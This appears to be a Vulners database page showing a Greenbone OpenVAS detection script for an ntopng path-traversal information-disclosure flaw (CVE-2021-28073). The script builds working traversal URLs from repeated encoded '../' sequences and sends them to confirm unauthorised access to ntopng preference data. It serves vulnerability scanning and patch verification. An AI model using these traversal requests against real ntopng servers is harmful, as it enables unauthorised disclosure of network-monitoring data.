Lucene search
+L

ntopng < 4.2.210427 Information Disclosure Vulnerability - Active Check

🗓️ 10 May 2021 00:00:00Reported by Copyright (C) 2021 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 74 Views

ntopng < 4.2.210427 Information Disclosure Vulnerability - Active Check. ntopng prone to information disclosure via path traversal. Affected version prior to 4.2.210427. Update to version 4.2.210427 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-28073
27 Apr 202309:58
circl
CVE
CVE-2021-28073
18 Nov 202321:50
cve
Nuclei
Ntopng Authentication Bypass
4 Feb 202607:00
nuclei
# Copyright (C) 2021 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:ntop:ntopng";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.145926");
  script_version("2021-05-10T06:48:45+0000");
  script_tag(name:"last_modification", value:"2021-05-10 06:48:45 +0000 (Mon, 10 May 2021)");
  script_tag(name:"creation_date", value:"2021-05-10 05:18:13 +0000 (Mon, 10 May 2021)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2021-28073");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("ntopng < 4.2.210427 Information Disclosure Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2021 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_ntopng_detect.nasl");
  script_mandatory_keys("ntopng/http/detected");
  script_require_ports("Services/www", 3000);

  script_tag(name:"summary", value:"ntopng is prone to an information disclosure vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks the responses.");

  script_tag(name:"insight", value:"A partial permission bypass vulnerability allows information
  disclosure via path traversal.");

  script_tag(name:"affected", value:"ntopng prior to version 4.2.210427.");

  script_tag(name:"solution", value:"Update to version 4.2.210427 or later.");

  script_xref(name:"URL", value:"http://noahblog.360.cn/ntopng-multiple-vulnerabilities");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

base = 0;

# nb: Get the base length
for (i = 90; i < 120; i++) {
  url = "/lua/" + crap(data: "%2e%2f", length: 6 * i) + "as_stats.lua.css";
  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req);
  if (res =~ "^HTTP/1\.[01] 200") {
    base = 255 - 1 - i * 2 - strlen("as_stats.lua");
    break;
  }
}

if (base == 0) {
  for (i = 90; i < 120; i++) {
    url = "/lua/" + crap(data: "%2e%2f", length: 6 * i) + "get_macs_data.lua.css";
    req = http_get(port: port, item: url);
    res = http_keepalive_send_recv(port: port, data: req);
    if (res =~ "^HTTP/1\.[01] 200") {
      base = 255 - 1 - i * 2 - strlen("get_macs_data.lua");
      break;
    }
  }
}

len = (255 - 1 - base - 14);
if (len % 2 == 1)
  exit(0);

len = len / 2;

urls = make_list("/lua/" + crap(data: "%2e%2f", length: 6 * len) + "find_prefs.lua.css",
                 "/lua/" + crap(data: ".%2f", length: 4 * len) + "find_prefs.lua.css");

foreach url (urls) {
  if (http_vuln_check(port: port, url: url, pattern: '"results"', check_header: TRUE,
                      extra_check: make_list('"tab"', '"name"'))) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation